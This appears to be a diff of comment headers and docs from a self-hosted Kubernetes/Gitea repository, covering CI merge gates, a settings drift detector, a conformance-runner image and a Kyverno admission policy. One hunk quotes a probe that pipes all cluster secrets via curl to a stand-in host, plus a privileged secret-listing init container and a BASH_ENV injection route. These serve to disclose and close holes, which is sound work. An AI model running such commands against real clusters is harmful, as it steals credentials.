+# pure, offline, unit-tested ci/approval-override.py; AUTHORISING it is the job of this stage,
+# which fails closed.
+#
+# WHAT THIS COSTS, STATED PLAINLY. For an administrator, "a change to the gate cannot be gated by
+# the gate" stops being structural and becomes advisory. That is the unavoidable consequence of
+# there being one human; the alternative is a repository its owner cannot change. What is bought
+# back is a RECORD — the waiver is an explicit act, attributed to an account, carrying a stated
+# reason, in the PR history and in this stage's output. A silent bypass keyed on "is the author an
+# admin?" would have been less code and is exactly the fail-open shape this repo keeps finding.
+#
+# AND THE PART THAT IS NOT COMFORTABLE. Authorisation is by permission ALONE, with no allowlist of
+# human accounts (operator decision, 2026-10-01, taken with this consequence on the table). The
+# AGENT account `gitea-admin` also reports permission `owner` here, so an agent can clear the
+# sensitive-path review on its own PR by posting the directive — and agents author most PRs in
+# this repo, so that is the common case, not an edge case. To narrow it without touching this
+# logic, add an `override_admins` list to infra/gitea/approval-policy.json: the check below
+# already requires membership whenever that key is present.
+#
+# EXIT CODES
+#   0  no sensitive paths touched (gate alone is sufficient), OR sensitive paths touched and
+#      either a non-author APPROVED review or a valid admin override is present
+#   1  sensitive paths touched with neither, OR the policy could not be evaluated

+# ci/decisions-log.sh — the handoff log is a DIRECTORY, and the old single file is frozen.
+#
+# WHY THIS STAGE EXISTS
+# ---------------------
+# CLAUDE.md §7 tells every agent to record a handoff before finishing. Until 2026-09-29 that
+# meant appending to the tail of one 5,228-line file, DECISIONS-LOG.md. Every branch appended
+# to the SAME last hunk, so git could not auto-merge any two of them. Measured that day against
+# the live Gitea: four of the five open PRs were `mergeable: false`, and `git merge-tree`
+# against `main` named DECISIONS-LOG.md as the ONLY conflicting path in all four:
+#
+#   #22 fix/crafty-oauth2-proxy-signin       CONFLICT (content): DECISIONS-LOG.md
+#   #20 feat/conformance-job-template        CONFLICT (content): DECISIONS-LOG.md
+#   #19 feat/conformance-trigger-kubeconfig  CONFLICT (content): DECISIONS-LOG.md
+#   #18 feat/conformance-runner-image        CONFLICT (content): DECISIONS-LOG.md
+#   #17 feat/ci-is-the-approver              clean — it wrote no handoff entry
+#
+# Nothing was wrong with any of those changes. The log's storage format serialised work that
+# was otherwise parallel, and the cost grew with every concurrent branch (N branches -> N-1
+# rebases, each invalidating the gate run before it).
+#
+# The fix is that handoffs now live one-per-file under decisions/, so concurrent branches touch
+# disjoint paths and there is nothing to merge. See decisions/README.md.
+#
+# WHY IT NEEDS A CHECK AND NOT JUST A DOCUMENT
+# --------------------------------------------
+# The old habit is written into this repo in many places — the runbooks, the muscle memory of
+# every agent that has read the log, and (until this change) CLAUDE.md itself. An agent that
+# appends to DECISIONS-LOG.md anyway does not fail: it produces a perfectly good-looking commit
+# that quietly re-creates the conflict for every other open branch, and the damage is only
+# visible later, to somebody else, in a PR that is not theirs. That is the exact shape this
+# repo keeps getting burned by — a silent regression with a delayed, misattributed symptom — so
+# it gets a guard rather than a paragraph.
+#
+# WHAT IS ASSERTED
+#   (1) DECISIONS-LOG.md is byte-identical to the SHA-256 pinned in decisions/ARCHIVE.sha256.
+#       Re-pinning is a deliberate, reviewable line in a diff; appending is not.
+#   (2) Every decisions/ entry is named YYYY-MM-DD-<slug>.md with a real calendar date, so the
+#       directory sorts chronologically and two agents cannot collide on a filename.
+#   (3) Every entry carries frontmatter (date, branch, title) whose `date` agrees with its
+#       filename — a disagreement means a copied template nobody edited.
+#   (4) Every entry has all three of CLAUDE.md §7's sections with a real body under each:
+#       "What changed", "What I verified", "What I did NOT verify". This is the quality floor
+#       that stops an entry degrading into "done ✅". The third heading is the load-bearing one:
+#       this repo's recurring failure is a confident report of something nobody measured, and an
+#       entry with nowhere to write "UNVERIFIED" does not get one written.
+#
+# EXIT CODES (ci/README.md contract): 0 pass, 1 BLOCKS the merge. This stage has NO skip path —
+# it reads only files that are in the tree it is run against, needs no tool beyond coreutils and
+# no cluster, so there is no environment in which it "could not run". Adding an rc 3 here would
+# add a fail-open surface to a guard whose whole job is to close one.

+# ci/gitea-settings.sh — Stage: the Gitea platform settings that gate this repo still
+# match what git declares.
+#
+# WHY THIS STAGE EXISTS AT ALL
+# ----------------------------
+# Every other check in this repo reads the repository, the rendered manifests, or the
+# cluster. NONE of them can see Gitea's own database — and that is where branch
+# protection and runner registration live. On 2026-09-29 that blind spot was measured:
+#
+#   * `main` had NO branch protection, and
+#   * ZERO Actions runners were registered,
+#
+# for roughly a month, while DECISIONS-LOG.md recorded both as working and every agent
+# and human in the loop repeated that claim because the repository said so. PR #1 — the
+# first pull request this repo ever had — sat `pending` for 30.6 minutes with nothing to
+# execute it. Later the same day `enable_status_check` and `required_approvals` were turned
+# on and STILL did not bite, because `block_admin_merge_override` was false; PRs #5-#9
+# merged with zero approvals recorded against `required_approvals: 1`.
+#
+# Three separate failures, one shape: a setting that READ as enforced while not being, with
+# no mechanism anywhere that could notice. Scripts that ASSERT the desired state
+# (infra/gitea/*.sh) do not detect drift from it. This stage is the detector.
+#
+# WHAT IT ASSERTS
+#   1. every key in infra/gitea/expected-branch-protection.json `.protection` matches the
+#      LIVE rule at /repos/{repo}/branch_protections/{branch}, exactly;
+#   2. at least `.runners_online_min` Actions runners report status "online".
+#
+# (2) is not decoration. A required status check with no runner is the deadlock this repo
+# nearly walked into: every PR pends forever, including the one that would fix it.
+#
+# READ THE RULE OBJECT, NOT THE BRANCH VIEW. /repos/{repo}/branches/{branch} reports
+# `protected`, `enable_status_check` and `required_approvals` but NOT
+# `block_admin_merge_override` — it showed all-green while the rule was overridable by the
+# only account that merges. This stage queries /branch_protections/ deliberately.
+#
+# EXIT CODES (the gate contract)
+#   0  live Gitea matches the declaration
+#   1  DIVERGENCE — something drifted, or was never applied. Blocks the merge.
+#   3  SKIP — no token, or Gitea unreachable. Never a pass; see gate.sh, which treats this
+#      skip like spec-immutability's (UNDETERMINED, exit 3) rather than a hard block, so
+#      that an unwired credential cannot lock the repository.
+#
+# TO WIRE IT: create a Gitea repo secret SETTINGS_API_TOKEN (a token that can read repo
+# settings) — infra/gitea/set-ci-token.sh does it. Until then this stage skips LOUDLY and
+# the drift it exists to catch is still undetected.
+#
+# NOT `GITEA_SETTINGS_TOKEN`. This comment named that until 2026-09-29 and it instructed the
+# reader to do something IMPOSSIBLE: Gitea reserves the `GITEA_` prefix for secret names and
+# rejects the PUT with HTTP 400 "invalid secret name". That is not a style rule — it is why the
+# detector sat inert for hours while a token existed and no secret did. The env var below still

+# Flux Kustomization: Intel GPU device plugin — reconciles ./platform/intel-gpu-plugin.
+# Makes the three prod nodes advertise `gpu.intel.com/i915`, which is the resource a later PR will
+# have `hardware.gpu: intel-quicksync` request in place of today's non-working /dev/dri hostPath.
+#
+# WHY ITS OWN KUSTOMIZATION, AND NOT ONE LINE IN platform/kustomization.yaml
+#
+# The cheap option was a line in the shared `platform` tier plus a new platform/ directory, and
+# neither path is sensitive in infra/gitea/approval-policy.json, so it would have needed no human
+# reviewer on the policy's terms. It is still the wrong place, for the reason the repo already
+# wrote down in platform/kustomization.yaml when Cilium was split out of that tier:
+#
+#   * `platform` is `wait: true` over eleven-plus components, so its Ready condition cannot tell
+#     you "the GPU plugin is wedged" from "longhorn is slow".
+#   * The only emergency valve would be `flux suspend kustomization platform` — freezing storage,
+#     TLS, DNS, ingress, monitoring, Keycloak and KubeVirt in order to stop touching a device
+#     plugin.
+#   * The tier's 10m interval / 5m timeout are explicitly called out there as WRONG for a 3-node
+#     DaemonSet rollout. This is a 3-node DaemonSet rollout.
+#
+# And the consequence is worse here than for an average component, because of what sits downstream:
+# `platform` gates platform-config, which gates apps-wave-0 (wait:true), which gates apps-wave-1.
+# A plugin DaemonSet that never went healthy inside that tier would stall every app on "dependency
+# not ready" — i.e. a component added to fix a SILENT NO-OP (software transcoding) would have
+# acquired the ability to cause a REAL OUTAGE. That trade is the whole argument.
+#
+# The usual objection to this placement is the approval cost, and it does not apply: Gitea enforces
+# `required_approvals: 1` with `block_admin_merge_override: true` on EVERY PR here regardless of
+# path, and authors cannot self-approve. So this change needed the operator's approval either way;
+# touching clusters/** costs nothing extra and buys a blast radius of exactly one component.
+#
+# dependsOn: [cilium], WHICH IS THE MINIMUM AND ALSO THE EARLIEST
+#
+# Not platform-config (what headlamp/crafty/homepage/oauth2-proxy use) — those are leaf UIs that
+# genuinely need Keycloak + wildcard TLS + split-horizon DNS + Gateway. This plugin needs none of
+# it. It never uses the network and never talks to the API server; it talks to the local kubelet
+# over a unix socket. Its only real prerequisite is a working CNI, so its pod can get a sandbox at
+# all, and `cilium` already depends on `flux-system` (the root Kustomization that applies the
+# cluster-vars ConfigMap this one substitutes from), so that edge is transitively satisfied too.
+#
+# Depending on `cilium` rather than `platform` also gets the resource advertised EARLIEST — this
+# reconciles in parallel with the `platform` tier instead of behind all eleven of its components.
+# That matters on a cold start once the consumer PR lands: a Plex pod requesting a resource no node
+# advertises is Unschedulable, and apps-wave-0 is wait:true. Reconciling early shrinks that window
+# instead of widening it. It is not a GUARANTEE — see the ordering note below, which is a real
+# constraint on the next PR and not a formality.
+#
+# Kyverno (in `platform`) is deliberately NOT a dependency: every policy that could match this
+# workload is scoped to namespaces labelled app-namespace=true, and this namespace is labelled
+# "false" (platform/intel-gpu-plugin/namespace.yaml). So there is no admission race to lose.
+#
+# wait: true — A HEALTH SIGNAL, NOT A GATE. This is the one place this component departs from the
+# headlamp/crafty leaf template, and the departure is deliberate. Those run wait:false because a
+# leaf UI can be legitimately not-Ready for a long time during a cold start while it waits on
+# Keycloak/DNS/TLS, so its health is not a useful signal. This DaemonSet has no such dependency: it
+# reads sysfs and opens a socket, so on healthy nodes it should be Ready in seconds, and
+# not-Ready genuinely means BROKEN. wait:true turns `flux get kustomization intel-gpu-plugin` into
+# a one-line answer to "did the plugin come up on all three nodes", which is exactly the question
+# the operator must answer before the consumer PR may merge.
+#
+# NOTHING IN THE GRAPH dependsOn THIS, so wait:true gates nothing — the blast radius of an unhealthy
+# plugin is this Kustomization's own Ready condition and nothing else. Anyone later adding
+# `dependsOn: [intel-gpu-plugin]` is choosing to make plugin health gate their thing; for the app
+# waves that would hand a device plugin the power to stall every app, which is the thing this file
+# exists to prevent. Think before adding that edge.
+#
+# ORDERING — DO NOT REORDER THE STACK. The renderer change (catalog/render.py emitting
+# `gpu.intel.com/i915: 1` for `hardware.gpu: intel-quicksync` instead of the hostPath) must NOT
+# land until this plugin is merged AND confirmed advertising the resource on all three nodes. If
+# the renderer requests a resource no node advertises, the Plex pod is Unschedulable; apps-wave-0 is
+# wait:true and apps-wave-1 dependsOn it, so that stalls the whole app tier — turning today's silent
+# no-op into a real outage. This PR's only job is to make the resource exist.

+#
+# WHY THIS EXISTS. chainsaw-job.yaml pins `ghcr.io/kyverno/chainsaw:v0.2.12` and
+# `command: ["./run.sh"]`. That image carries the chainsaw binary and almost nothing else —
+# no bash, no python3, no kubectl, no git. So the committed Job could never have run: it
+# would have failed at exec of `./run.sh`. This image carries exactly what
+# `conformance/run.sh` needs:
+#
+#   bash      run.sh and every tests/**/check.sh are bash (arrays, mapfile, BASH_SOURCE)
+#   python3   lib/{run_l1_offline,gen_coverage,merge_junit,emit_skipped_junit,status}.py
+#             (stdlib only — conformance/versions.env PYTHON_MIN=3.9, so no pip layer)
+#   chainsaw  the L1/L2/L3 runner itself (run_chainsaw / lint_tests)
+#   kubectl   conf_cluster_reachable()'s `kubectl cluster-info` preflight + probe scripts
+#   git       the init-container's `clone --depth 1` + `checkout <SHA>` (§3 item 2) and
+#             run.sh's `rev-parse --short HEAD` for the run id
+#   tar/gzip/coreutils  the `=== ARTIFACTS-TGZ-BASE64 ===` results channel (§3 item 3)
+#
+# It also carries `/usr/local/bin/conformance-clone` (0755 root:root) — the init container's
+# ONLY entrypoint, a fixed path with no argument surface. That exists to close an admission
+# hole, not for convenience: see the COPY below and the script's own header.
+#
+# VERSIONS COME FROM infra/devcontainer/versions.env — NOT from new pins invented here.
+# That file is the single source of truth for CHAINSAW_VERSION / KUBECTL_VERSION /
+# FEDORA_VERSION, and build-image.sh sources it and passes them in as --build-arg. The
+# ARG defaults below are deliberately EMPTY so a build that forgets to pass them fails
+# loudly (see the assertion in the first RUN) instead of silently baking a stale version.
+#
+# KNOWN LIMIT — READ BEFORE CHOOSING THE JOB'S `args`.
+# `run.sh` runs the selected OFFLINE L0/L1 checks (run_offline_checks) before it ever
+# touches the cluster, for ANY selection that is not offline-only. Those checks shell out
+# to flux / promtool / kyverno / kustomize, which this image deliberately does NOT carry —
+# baking the whole devcontainer toolchain into the runner would roughly double its size to
+# re-run work that ci/l0.sh + ci/l1.sh already did offline in the same CI run. So the Job
+# must select the cluster-gated layers only, e.g. `args: ["--layer", "l2"]` /
+# `["--layer", "l3"]`, where offline_selected_dirs() resolves to nothing and
+# run_offline_checks() returns 0. `--layer all` and a bare `--requirements <IDs>` would drag
+# the L0 checks in and fail on a missing tool. Flagged to the plan owner; choosing the Job's
+# args is T-6.1b's call, not this image's.
+#
+# THE ADMISSION CONTRACT THIS IMAGE MUST SATISFY.
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml is a fail-closed Enforce
+# ClusterPolicy (R-SEC-02) and it is the security boundary. It requires the Job's container
+# to be `gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*` — a DIGEST,
+# never a tag — with `runAsNonRoot: true` and `allowPrivilegeEscalation: false`. Two
+# consequences are baked in here:
+#
+#   1. `USER` is NUMERIC. With `runAsNonRoot: true` and no explicit `runAsUser`, the kubelet
+#      REJECTS an image whose USER is a name it cannot resolve to a uid
+#      ("container has runAsNonRoot and image has non-numeric user"). So: USER 65532:65532.
+#   2. The pod is `readOnlyRootFilesystem: true` and the policy admits only the `workspace`
+#      and `results` volumes — there is no writable /tmp and one cannot be added without
+#      changing the boundary. So HOME and every cache path point INTO /workspace (the
+#      emptyDir), not at the read-only root. That is why HOME=/workspace below.

   commented with the test/requirement that needs it — only as the matching fault-injection
   test lands. This is a **privileged test identity**: never reused by workloads, its own
   audit item.
-- `chainsaw-job.yaml` — the Job skeleton. Single entrypoint `./run.sh`; CI sets `args` to
-  `--requirements <touched IDs>` (merge gate) or `--layer all --strict-coverage` (phase
-  exit). Image pinned to `versions.env` `CHAINSAW_IMAGE`.
+- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
+  run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the
+  commit under test; artifacts leave over stdout. Its header is the authority on the
+  substitution tokens and the admission constraints it satisfies, and records the
+  `initContainers` hole that was found and closed alongside it — read it before editing
+  either file.
+- `Containerfile` — the **`conformance-runner`** image: `bash` + `python3` + `chainsaw` +
+  `kubectl` + `git`, non-root (numeric uid 65532) and working under a read-only root
+  filesystem. This is what the Job actually needs; the stock chainsaw image carries none of
+  it. Versions are `--build-arg`-injected from `infra/devcontainer/versions.env` — the single
+  source of truth — so the chainsaw/kubectl in the runner are the same pins the toolbox gate
+  uses. Read its header before changing the Job's `args`: `run.sh` runs the selected offline
+  L0/L1 checks for any non-offline-only selection, and those need flux/promtool/kyverno/
+  kustomize, which this image deliberately omits. Use `--layer l2` / `--layer l3`.
+- `conformance-clone` — the init container's **only** entrypoint, baked into the image at
+  `/usr/local/bin/conformance-clone` (0755 **root:root**, so uid 65532 cannot replace it).
+  It is a file in the image rather than an inline script in the Job precisely so admission
+  can pin it: a policy cannot tell the committed script from an attacker's when both are
+  just `args` on `/bin/bash -c`. Clones the impl repo at the commit under test: the SHA must
+  match `^[0-9a-f]{40}$` and `rev-parse HEAD` is **asserted** equal to it afterwards, so an
+  unrendered placeholder is a hard failure rather than a silent run of the branch tip. It
+  takes **no arguments**, and the repository URL and clone target are **compiled in** —
+  `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than
+  honoured, because a URL taken from env would let the trigger choose which repository's
+  code runs as `conformance-runner`. This branch's Job depends on that interface:
+  `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src`
+  (hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`.
+  > **The other half landed with this branch.** When `conformance-clone` arrived, the
+  > admission policy pinned the main container's `command` but **never read
+  > `initContainers`** — an init container with `command: ["/bin/sh","-c"]` and an arbitrary

+  > digest-pinned to the conformance-runner image, `command` exactly
+  > `/usr/local/bin/conformance-clone`, and **no `args` at all**. `ephemeralContainers` and
+  > `env`/`envFrom` were the same shape of hole and are closed in the same policy.
+- `build-image.sh` — builds the above, **verifies the toolchain by running it** inside the
+  image as uid 65532 with `--read-only`, and prints the digest. It **never pushes**: it
+  prints the exact `podman push --digestfile …` command for the operator instead. See
+  `conformance/versions.env` `CONFORMANCE_RUNNER_IMAGE` for the post-push pin.
+  `--verify-clone` additionally has `conformance-clone` really clone this repo at a real SHA
+  and asserts the checkout matches (opt-in, because it needs the Gitea host reachable — the
+  default verify stays offline so an air-gapped build is fully checked, not half-checked).
 
 ## Flow
-1. CI (Gitea Actions, delivered in T-6.1b) creates a Job from `chainsaw-job.yaml` (via a
-   trigger with narrow rights: create Job + read its logs/status — *not* a broad
-   kubeconfig).
-2. The Job clones/loads the impl repo at the commit under test into `/workspace` and runs
-   `./run.sh` under `conformance-runner`.
-3. `run.sh` runs Chainsaw over the selected tests and writes `report.junit.xml` +
-   `coverage/` to the results volume (`/workspace/conformance/_artifacts`).
-4. CI collects those artifacts (results volume or the terminating log stream, which echoes
-   their paths) and enforces the merge / phase-exit gate on them.
+1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
+   runner image digest and the commit SHA — replaces `args` with the invocation shape, and
+   `create`s the Job under the narrow `conformance-trigger` identity (create/get jobs, get
+   pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
+2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
+   fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
+3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it
+   shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does
+   not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** —
+   the suite runs at the commit under test or not at all. The read-only Gitea credential
+   reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys
+   `username`/`token`), never as a volume: admission allows no volume but `workspace` and
+   `results`.
+4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
+   `coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
+5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
+   stdout, carrying `bytes`, `lines` and `sha256` in **both** the BEGIN and END markers. CI
+   decodes it from `kubectl logs` and must make all five completeness checks listed above
+   `conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
+   of decoding to plausible garbage.
+
+## Prerequisites before this Job can run at all
+- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and
+  `token`: a **read-only** Gitea token for this repository. Never a write token or a
+  push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6).
+- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge
+  before this template is usable; its digest is what the trigger substitutes. Contract the
+  image MUST meet, because the Job and the admission policy both depend on it:
+  - bash, git, python3, chainsaw and kubectl on `PATH`;
+  - a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different
+    uid in the Containerfile means the Job will not start;
+  - `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**,
+    mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins
+    that exact path, so an image without it cannot run the clone step and no other path will
+    be admitted.

+# -----------------------------------------------------------------------------
+# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29)
+# -----------------------------------------------------------------------------
+# As originally written, the policy read only `spec.template.spec.containers` (rule 1's
+# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was
+# never examined, so the exact escalation the policy exists to stop was reachable one
+# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully
+# compliant:
+#
+#   * this template with ONLY the init container's args replaced by
+#     `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
+#   * and (the coordinator's independent reproduction) a `privileged: true`
+#     `docker.io/library/alpine:latest` init container running `kubectl get secrets -A`
+#
+#   ->  pass: 3, fail: 0, warn: 0, error: 0, skip: 0        # BOTH ADMITTED
+#
+# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
+#
+# Closed by new rules in that policy, authorised by the coordinator in this PR
+# (the original brief forbade policy edits; that was to stop the boundary being BENT to
+# fit a Job, not to stop a hole being closed):
+#   * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init
+#     container, on the digest-pinned runner image, `command:
+#     ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation,
+#     not privileged. The clone logic moved OUT of this manifest and into the image for
+#     exactly this reason: a policy cannot vet a shell script passed as `args`, so the
+#     script had to stop being caller-supplied data. It stays reviewable as
+#     conformance/incluster/conformance-clone.
+#   * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same
+#     unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not
+#     verified here, and the rule costs nothing if it is true.
+#   * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env`
+#     was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable
+#     the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash
+#     sources it before running a non-interactive script. Names are allowlisted per container;
+#     VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately
+#     environment-specific, and conformance-runner can already read this namespace's Secrets
+#     through its own RBAC, so pinning the source would buy nothing).
+#
+# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ —
+# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`,
+# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`,
+# `envfrom-whole-secret` — so they stay failing.
+#
+# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the
+# committed shape" policy is only as good as its enumeration of every field that can carry
+# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and
+# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none
+# does, that is the finding, not an oversight to work around.
+#
+# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed
+# on a mismatch rather than honoured) for exactly this reason. Do not move it into env.
+#
+# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
+# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.

+# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT

+# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not

+#
+#   requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all;
+#   offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/.
+#
+# so:
+#   ["--layer","l2,l3"]                                        -> offline selection EMPTY. RUNS.
+#   ["--layer","l2,l3","--requirements","R-NET-01"]             -> intersected to L2/L3. RUNS.
+#   ["--layer","l2,l3","--include-scope","whole-repo"]          -> scope union is ALSO
+#         layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS.
+#   ["--requirements","R-NET-01"]        (no --layer, so LAYER=all) -> unbounded: pulls that
+#         requirement's L0/L1 tests into the run. FAILS on the missing toolchain.
+#   ["--layer","all","--strict-coverage"]                       -> every L0/L1 test. FAILS.
+#
+# The first three are measured working by the image build (PR #18); the last two are measured
+# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a
+# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone.
+# The committed default below is the narrowest shape that works.
+#
+# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a

+# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
+# -----------------------------------------------------------------------------
+# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the
+# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when
+# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints:
+#
+#   === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#   <base64 of the tgz, wrapped at 76 columns>
+#   === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===

+# The BEGIN and END headers are byte-identical and both carry the size, the base64 line
+# count and the sha256. A collector that checks all four (one BEGIN, one END, headers
+# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a

+# conformance-clone — fetch the impl repo at the exact commit under test.
+#
+# Baked into the conformance-runner image at /usr/local/bin/conformance-clone, mode 0755
+# root:root, so the running container (uid 65532) cannot replace it. The Job's init
+# container runs it as `command: ["/usr/local/bin/conformance-clone"]` with NO args.
+#
+# WHY IT IS A FILE IN THE IMAGE AND NOT AN INLINE SCRIPT IN THE JOB
+# -----------------------------------------------------------------
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml pins the MAIN container's
+# `command` to ["./run.sh"] and constrains its `args` — but it never reads `initContainers`.
+# So a Job from `conformance-trigger` could carry an init container with
+# `command: ["/bin/sh","-c"]` and an arbitrary script, running as the privileged
+# `conformance-runner` SA. Reproduced by the policy's author: such a Job is ADMITTED
+# (pass 3, fail 0).
+#
+# The fix has two halves and NEITHER works alone:
+#   1. this file — a fixed path with fixed behaviour and no argument surface, so there is
+#      nothing for a caller to inject into; and
+#   2. a 4th policy rule requiring every initContainer's `command` to be exactly
+#      ["/usr/local/bin/conformance-clone"] with no `args`. That rule lives in the policy
+#      and is NOT this branch's to write — a security boundary changes in its own reviewed PR.
+# Without (2) this file is merely available, not required.
+#
+# THE ENV SURFACE IS THE OTHER HALF OF THE SAME HOLE — READ THIS BEFORE "SIMPLIFYING"
+# -----------------------------------------------------------------------------------
+# The admission policy says NOTHING about `env`. Verified: no `env`, `valueFrom` or
+# `secretKeyRef` clause appears in it. So a script that took its repository URL from the
+# environment would just move the injection one field over — the trigger sets
+# CONFORMANCE_REPO_URL to a repo it controls, this clones it, and `./run.sh` from THAT repo
+# executes under the privileged runner SA. Identical shape to the initContainers gap, and
+# "no args" would not have stopped it.
+#
+# Therefore the repository URL and the clone target are COMPILED IN below. The matching env
+# vars are still read, so the Job template can keep declaring them and stay self-documenting,
+# but a value that DISAGREES with the baked literal is a hard failure, never a redirect.
+# The only per-run input that is genuinely trusted is the commit SHA, and it must be 40 hex
+# characters of a commit that the baked repository actually contains.
+#
+# Inputs (environment; no arguments are accepted):
+#   CONFORMANCE_GIT_SHA   REQUIRED. 40 lowercase hex. The commit under test.
+#   CONFORMANCE_REPO_URL  optional. Must equal the baked URL if set.
+#   CONFORMANCE_SRC       optional. Must equal the baked target if set.
+#   GITEA_USERNAME        optional, from Secret `conformance-git-readonly`.
+#   GITEA_TOKEN           optional, from Secret `conformance-git-readonly`.
+#   TMPDIR / HOME         optional; must be under /workspace. Default to /workspace/{tmp,home}.
+#

+# RESULTS TRANSPORT (in-cluster only): a self-describing, truncation-detectable
+# base64 tar of the artifact tree, printed to STDOUT. OFF unless CONF_EMIT_ARTIFACTS_TGZ=1.
+#
+# WHY THIS LIVES IN run.sh AND NOT IN THE JOB MANIFEST. The admission policy that bounds
+# the CI trigger (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce +
+# fail-closed) pins the Job's `command` to exactly ["./run.sh"], so no shell may wrap the
+# suite to package artifacts afterwards. And the trigger identity deliberately holds NO
+# pods/exec and cannot `kubectl cp` (R-SEC-02; docs/plans/l2-l3-conformance-ci-wiring.md
+# §3.3 and §4), so `kubectl logs` is the ONLY channel out of the Job. The runner therefore
+# has to put its own artifacts on its own stdout. It is an EXIT trap, so a FAILED run still
+# ships its JUnit — the red report is the evidence the gate needs most.
+#
+# WHY THE ENVELOPE LOOKS LIKE THIS. `kubectl logs` is a lossy channel: `--tail`, a rotated
+# CRI log file, a dropped watch, or CRI's per-line split can each deliver a mere PREFIX of
+# the stream. base64 decodes a truncated stream without complaint, into a tar that gunzip
+# may even partially unpack — silent, plausible garbage. So the envelope carries everything
+# needed to PROVE completeness, and carries it TWICE:
+#
+#   === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#   <base64 of the .tgz, wrapped at 76 columns>
+#   === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#
+# THE COLLECTOR MUST DO ALL FIVE CHECKS, and treat any failure as a COLLECTION FAILURE —
+# never as "no artifacts", never as a pass:
+#   1. exactly one BEGIN line and exactly one END line;
+#   2. the two header payloads (everything after BEGIN/END) byte-identical — a mismatch
+#      means two interleaved or re-emitted envelopes in one log;
+#   3. the count of body lines between them equals lines=;
+#   4. the decoded byte count equals bytes=;
+#   5. sha256 of the decoded bytes equals sha256=.
+# No check is sufficient alone. A head-truncated log fails (1); a tail-truncated one fails
+# (1); a dropped interior line fails (3) and (5); a corrupted line that preserves the line
+# count fails (5). (1)+(2) are what make a partial log DETECTABLE rather than decodable,
+# which is the whole design requirement.
+#
+# `rc=` is the suite's own exit code, carried INSIDE the envelope so CI can cross-check it
+# against the Job's completion condition instead of trusting either signal alone.
+#
+# The archive holds the CONTENTS of the artifact tree (`tar -C "$ARTIFACTS" .`), not the
+# directory itself: CONF_ARTIFACTS makes that directory's NAME environment-specific
+# (`/results` in the Job, `conformance/_artifacts` locally), and an archive whose top-level
+# entry changed with the environment would be a trap for the collector. It unpacks the
+# contents wherever it likes.
+#
